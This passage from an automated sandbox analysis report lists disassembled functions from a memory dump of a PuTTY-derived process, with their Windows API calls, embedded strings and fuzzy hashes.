                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AllocateErrorInitializeLast$CurrentFreeLocalProcess
                                                                                                                                                    • String ID: Could not restrict process ACL: %s$Unable to set process ACL: %s$unable to construct ACL: %s
                                                                                                                                                    • API String ID: 4156538165-2118130043
                                                                                                                                                    • Opcode ID: 1a5d619c23c7e740a40766908142a3d473beb39b0e6d72ae36faa54a4fa232d5
                                                                                                                                                    • Instruction ID: cb61a064044fa1c07424540f542df623263bf12d4f0d606fb7c63f90489487e5
                                                                                                                                                    • Opcode Fuzzy Hash: 1a5d619c23c7e740a40766908142a3d473beb39b0e6d72ae36faa54a4fa232d5
                                                                                                                                                    • Instruction Fuzzy Hash: 313170B1508311AFE312DF24E849B2FBBF8EB84748F00481CF5889B390D7B69944CB92
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0037F0C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97pipeCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • CreateNamedPipeA.KERNEL32(?,40000003,00000008,000000FF,00001000,00001000,00000000), ref: 0037F113
                                                                                                                                                    • ConnectNamedPipe.KERNEL32(?,00000010), ref: 0037F12A
                                                                                                                                                    • GetLastError.KERNEL32 ref: 0037F134
                                                                                                                                                    • CloseHandle.KERNEL32(?), ref: 0037F176
                                                                                                                                                    Strings
                                                                                                                                                    • Error while listening to named pipe: %s, xrefs: 0037F193
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: NamedPipe$CloseConnectCreateErrorHandleLast
                                                                                                                                                    • String ID: Error while listening to named pipe: %s
                                                                                                                                                    • API String ID: 3669627233-1472817922
                                                                                                                                                    • Opcode ID: ae8e15637e311d4a500f24a4db93ad2719cce9d0f20650a0fef8d0b3b38be02c
                                                                                                                                                    • Instruction ID: 167dd29cac1a0c0288f9807144fb19ca8773bc093782b541a0ffdd48ca6b1b38
                                                                                                                                                    • Opcode Fuzzy Hash: ae8e15637e311d4a500f24a4db93ad2719cce9d0f20650a0fef8d0b3b38be02c
                                                                                                                                                    • Instruction Fuzzy Hash: 0231C270600300AFE3326F25EC85F3A77E8FF88364F518938F84ADB391D675A8408A52
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F205E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ShowCursor.USER32(00000001), ref: 002F268D
                                                                                                                                                    • GetCursorPos.USER32(?), ref: 002F269F
                                                                                                                                                    • IsZoomed.USER32 ref: 002F2712
                                                                                                                                                    • GetWindowLongA.USER32 ref: 002F2724
                                                                                                                                                    • SendMessageA.USER32(?,00000112,0000F090,?), ref: 002F275A
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Cursor$LongMessageSendShowWindowZoomed
                                                                                                                                                    • String ID: (
                                                                                                                                                    • API String ID: 1399778751-3887548279
                                                                                                                                                    • Opcode ID: 7bbe06531119e3b279c513325431dda8f9a034161904c1c9ebc864992a36f239
                                                                                                                                                    • Instruction ID: dc71aa6acdc6fa7e5052ab398c400ce22a4d2352e9e0dbc496b50f5a0042b261
                                                                                                                                                    • Opcode Fuzzy Hash: 7bbe06531119e3b279c513325431dda8f9a034161904c1c9ebc864992a36f239
                                                                                                                                                    • Instruction Fuzzy Hash: 1D21E431228345DFD726AF24EC85BB9B7E8FB41340F44482CF685CA1E1DBB58858EB11
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F2090 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ShowCursor.USER32(00000001), ref: 002F268D
                                                                                                                                                    • GetCursorPos.USER32(?), ref: 002F269F
                                                                                                                                                    • IsZoomed.USER32 ref: 002F2712
                                                                                                                                                    • GetWindowLongA.USER32 ref: 002F2724
                                                                                                                                                    • SendMessageA.USER32(?,00000112,0000F090,?), ref: 002F275A
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Cursor$LongMessageSendShowWindowZoomed
                                                                                                                                                    • String ID: (
                                                                                                                                                    • API String ID: 1399778751-3887548279
                                                                                                                                                    • Opcode ID: 9236228023aff89a467d54ee9d9d8e2f8e5c750057dd82d9e6f7b6b7032ff8d5
                                                                                                                                                    • Instruction ID: 672a04644a1fdf4d51bd40c3ad352742101f3894ead44f1ebb9843ce16c1fc84
                                                                                                                                                    • Opcode Fuzzy Hash: 9236228023aff89a467d54ee9d9d8e2f8e5c750057dd82d9e6f7b6b7032ff8d5
                                                                                                                                                    • Instruction Fuzzy Hash: 1521E431228345DFD726AF24EC85B7AB7A8FB41340F44493CF685CA1E1DBB48858EB11
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F2076 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 79windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • ShowCursor.USER32(00000001), ref: 002F268D
                                                                                                                                                    • GetCursorPos.USER32(?), ref: 002F269F
                                                                                                                                                    • IsZoomed.USER32 ref: 002F2712
                                                                                                                                                    • GetWindowLongA.USER32 ref: 002F2724
                                                                                                                                                    • SendMessageA.USER32(?,00000112,0000F090,?), ref: 002F275A
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Cursor$LongMessageSendShowWindowZoomed
                                                                                                                                                    • String ID: (
                                                                                                                                                    • API String ID: 1399778751-3887548279
                                                                                                                                                    • Opcode ID: 8b7c2ee7808f5c2bf31aec2a706799527ad99aa0ae25726d912870a7b473d583
                                                                                                                                                    • Instruction ID: 0fafdd68267d02bc7730ed298d06574fc3b4ffda56a74f70a85dbc2b1b785efb
                                                                                                                                                    • Opcode Fuzzy Hash: 8b7c2ee7808f5c2bf31aec2a706799527ad99aa0ae25726d912870a7b473d583
                                                                                                                                                    • Instruction Fuzzy Hash: 6821F631228345DFD726AF24EC85BB9B7E8FB41340F44492CF685CA1E1CBB58858EB11
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A2BF9 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • FreeLibrary.KERNEL32(00000000,?,003A2D06,?,?,?,00000000,?,?,003A270A,00000021,FlsSetValue,003CA8F8,003CA900,?), ref: 003A2CBA
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: FreeLibrary
                                                                                                                                                    • String ID: api-ms-$ext-ms-
                                                                                                                                                    • API String ID: 3664257935-537541572
                                                                                                                                                    • Opcode ID: 2b0538084fd864756174a5d829fc72d4584472f83af7ecf91012b6ff6ef80405
                                                                                                                                                    • Instruction ID: 33ac9e3e71a71975a84f919501e1ee7690c1145c449d9b15d53d7fc9406816d2
                                                                                                                                                    • Opcode Fuzzy Hash: 2b0538084fd864756174a5d829fc72d4584472f83af7ecf91012b6ff6ef80405
                                                                                                                                                    • Instruction Fuzzy Hash: 20217571A01261ABCB239B699C45A5F375DEB467B0F260710E916AB2D0E770EE01C6D0
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0037EBF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72synchronizationCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • CreateMutexA.KERNEL32(?,00000000,?), ref: 0037EC5F
                                                                                                                                                    • WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000,?), ref: 0037EC6E
                                                                                                                                                    • GetLastError.KERNEL32(?,00000000,?), ref: 0037EC76
                                                                                                                                                      • Part of subcall function 0032CC90: FormatMessageA.KERNEL32(00001200,00000000,?,00000400,?,0000FFFF,00000000,?,?,?,?,003269BE,?), ref: 0032CD1B
                                                                                                                                                      • Part of subcall function 0032CC90: _strlen.LIBCMT ref: 0032CD26
                                                                                                                                                    • LocalFree.KERNEL32(?,?,?,?,?,00000000,00000000,00000000,00357C1B,00000000,?), ref: 0037ECA1
                                                                                                                                                    • LocalFree.KERNEL32(?,?,?,?,?,00000000,00000000,00000000,00357C1B,00000000,?), ref: 0037ECB0
                                                                                                                                                      • Part of subcall function 0032C480: LocalAlloc.KERNEL32(00000040,00000014,?,00000000,?), ref: 0032C54D
                                                                                                                                                      • Part of subcall function 0032C480: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?), ref: 0032C55D
                                                                                                                                                      • Part of subcall function 0032C480: SetSecurityDescriptorOwner.ADVAPI32(?,00000000,?,00000000,?), ref: 0032C572
                                                                                                                                                      • Part of subcall function 0032C480: SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000,?,00000000,?), ref: 0032C585
                                                                                                                                                    Strings
                                                                                                                                                    • CreateMutex("%s") failed: %s, xrefs: 0037EC87
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: DescriptorLocalSecurity$Free$AllocCreateDaclErrorFormatInitializeLastMessageMutexObjectOwnerSingleWait_strlen
                                                                                                                                                    • String ID: CreateMutex("%s") failed: %s
                                                                                                                                                    • API String ID: 3757897666-2623464464
                                                                                                                                                    • Opcode ID: f0f596116cef2d948cd2d67c35fb284a3f9c671b5ff3b9298f029c6b399e630b
                                                                                                                                                    • Instruction ID: 7811c5bad64a5c1d0d64b228b7cbb8f76bb94b9bfae1d59b751dc07656d20498
                                                                                                                                                    • Opcode Fuzzy Hash: f0f596116cef2d948cd2d67c35fb284a3f9c671b5ff3b9298f029c6b399e630b
                                                                                                                                                    • Instruction Fuzzy Hash: C1216FB5904351AFD722EF24DC49B2BB7ECEB88754F018958F8989B281D734D804CBA2
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003560F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 49COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • CloseHandle.KERNEL32(?), ref: 0035613E
                                                                                                                                                    • EnterCriticalSection.KERNEL32(003F33E0), ref: 0035614C
                                                                                                                                                    • LeaveCriticalSection.KERNEL32(003F33E0), ref: 0035616E
                                                                                                                                                    • SetEvent.KERNEL32(?), ref: 00356188
                                                                                                                                                    Strings
                                                                                                                                                    • h && !h->u.g.moribund, xrefs: 0035610A
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/handle-io.c, xrefs: 00356105
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: CriticalSection$CloseEnterEventHandleLeave
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/handle-io.c$h && !h->u.g.moribund
                                                                                                                                                    • API String ID: 1836394787-1076956789
                                                                                                                                                    • Opcode ID: 7286e7b41765c73ed2e538ea6c7795628a63c70059e2ac389802c25f830e1133
                                                                                                                                                    • Instruction ID: 343bfa38609f5f311a2583c69ee74c97441eaec5cbe3d476ea444d863a1c859b
                                                                                                                                                    • Opcode Fuzzy Hash: 7286e7b41765c73ed2e538ea6c7795628a63c70059e2ac389802c25f830e1133
                                                                                                                                                    • Instruction Fuzzy Hash: 81119170500B809FC7338F26E849A62BBF4EF44711F04492DE8C747AA1C371B548CB41
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F6680 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • LoadCursorA.USER32 ref: 002F694A
                                                                                                                                                    • SetClassLongA.USER32(000000F4,00000000), ref: 002F695B
                                                                                                                                                    • SetCursor.USER32(00000000), ref: 002F6962
                                                                                                                                                    • ShowCursor.USER32(00000000), ref: 002F6974
                                                                                                                                                    Strings
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c, xrefs: 002F6988
                                                                                                                                                    • false && "Bad busy_status", xrefs: 002F698D
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Cursor$ClassLoadLongShow
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c$false && "Bad busy_status"
                                                                                                                                                    • API String ID: 1160125251-1574196539
                                                                                                                                                    • Opcode ID: c3fdef1dfee7892b952ca8ceed1b51dfbcee592c41390adfef24746c2283bfff
                                                                                                                                                    • Instruction ID: f3bbcd31527220e69c6bec4a0bbb70ff4716eae9370bd925eb7f5853634c2dcc
                                                                                                                                                    • Opcode Fuzzy Hash: c3fdef1dfee7892b952ca8ceed1b51dfbcee592c41390adfef24746c2283bfff
                                                                                                                                                    • Instruction Fuzzy Hash: 250142B0568346EFEB132B60BD4EE3A364CE700390F444234F6498A2F0C6B24814C710
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F7120 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 32windowCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetStockObject.GDI32(0000000F), ref: 002F7136
                                                                                                                                                    • SelectPalette.GDI32(?,00000000,00000000), ref: 002F7140
                                                                                                                                                    • ReleaseDC.USER32 ref: 002F714D
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ObjectPaletteReleaseSelectStock
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/window.c$wgs.term_hwnd$wintw_hdc
                                                                                                                                                    • API String ID: 3714893027-2562869392
                                                                                                                                                    • Opcode ID: ebb28a8860dcf0dfd6d7ecf12469ab344b67edf52c843c53ed83cea99b710bf0
                                                                                                                                                    • Instruction ID: 244abe8b61375aae958d93749043714cca62232d5599e3fa092f66c3a75b8c33
                                                                                                                                                    • Opcode Fuzzy Hash: ebb28a8860dcf0dfd6d7ecf12469ab344b67edf52c843c53ed83cea99b710bf0
                                                                                                                                                    • Instruction Fuzzy Hash: A9F03071945266EBDB332F46BE0AFB7372DAB20B11F050124FA096E1F1CBB11859CA95
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003AC7B7 Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 3e2e5820e254be341fb55a73fd1edaae9f4ff3dd03c4fa67d39d19a11e20f725
                                                                                                                                                    • Instruction ID: 0103c5c7f33276bc7b58cb8d744efe03639bfbc63d92a79c3350039e3b6169ef
                                                                                                                                                    • Opcode Fuzzy Hash: 3e2e5820e254be341fb55a73fd1edaae9f4ff3dd03c4fa67d39d19a11e20f725
                                                                                                                                                    • Instruction Fuzzy Hash: 97B1D071A102499FDB13CF99C881BBEBBB9FF4A300F155158E511AF292C7719E42CB60
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003B3634 Relevance: 9.2, APIs: 6, Instructions: 248COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetCPInfo.KERNEL32(00833010,00833010,00000000,7FFFFFFF,?,003B361F,00833010,00833010,00000000,00833010,?,?,?,?,00833010,00000000), ref: 003B36DA
                                                                                                                                                    • __freea.LIBCMT ref: 003B386F
                                                                                                                                                    • __freea.LIBCMT ref: 003B3875
                                                                                                                                                    • __freea.LIBCMT ref: 003B38AB
                                                                                                                                                    • __freea.LIBCMT ref: 003B38B1
                                                                                                                                                    • __freea.LIBCMT ref: 003B38C1
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: __freea$Info
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 541289543-0
                                                                                                                                                    • Opcode ID: b80db1cd86f9ac07496538accee23b8437cbea1c372c257e9677934e21c9bbd4
                                                                                                                                                    • Instruction ID: f8d781e83291fc45a2c21c0e667a0a849077ce9becbc85b43fec1b5892262fda
                                                                                                                                                    • Opcode Fuzzy Hash: b80db1cd86f9ac07496538accee23b8437cbea1c372c257e9677934e21c9bbd4
                                                                                                                                                    • Instruction Fuzzy Hash: 5871CCB2D042256BDF239F648C82BEE77BADF46718F160059FA04EB681EB35DE048751
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A2090 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetLastError.KERNEL32(?,?,003A2087,0038EA03,0038E689), ref: 003A209E
                                                                                                                                                    • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 003A20AC
                                                                                                                                                    • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 003A20C5
                                                                                                                                                    • SetLastError.KERNEL32(00000000,003A2087,0038EA03,0038E689), ref: 003A2117
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
